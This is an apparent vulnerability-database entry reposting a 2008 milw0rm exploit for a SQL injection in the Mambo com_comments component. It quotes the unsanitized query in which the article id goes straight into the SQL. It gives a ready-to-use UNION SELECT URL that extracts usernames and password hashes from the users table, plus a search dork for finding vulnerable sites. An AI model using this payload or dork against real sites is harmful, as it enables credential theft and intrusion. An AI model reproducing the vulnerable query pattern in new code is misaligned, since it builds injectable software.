Mambo Component Comments <= 0.5.8.5g SQL Injection Vulnerability

2014-07-01T00:00:00
ID SSV:65189
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                #########################################################
##
##  Mambo SQL Injection (com_comments)
##
##	Version Affected:  <=  0.5.8.5g
##  Author: CheebaHawk215
##  Home page: http://www.always420forum.com
##
#########################################################
##
## 	Dork: "Review Script", "Phil Taylor"
##
#########################################################
##	
##	Vulnerable Code:
##
##########################################################


$pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND published=1 order by id DESC";


#########################################################
##
##   Exploit:
##
#########################################################


http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1



## This is my first exploit!
## thanks to all who came before me, and enabled me to learn from their efforts!

# milw0rm.com [2008-02-09]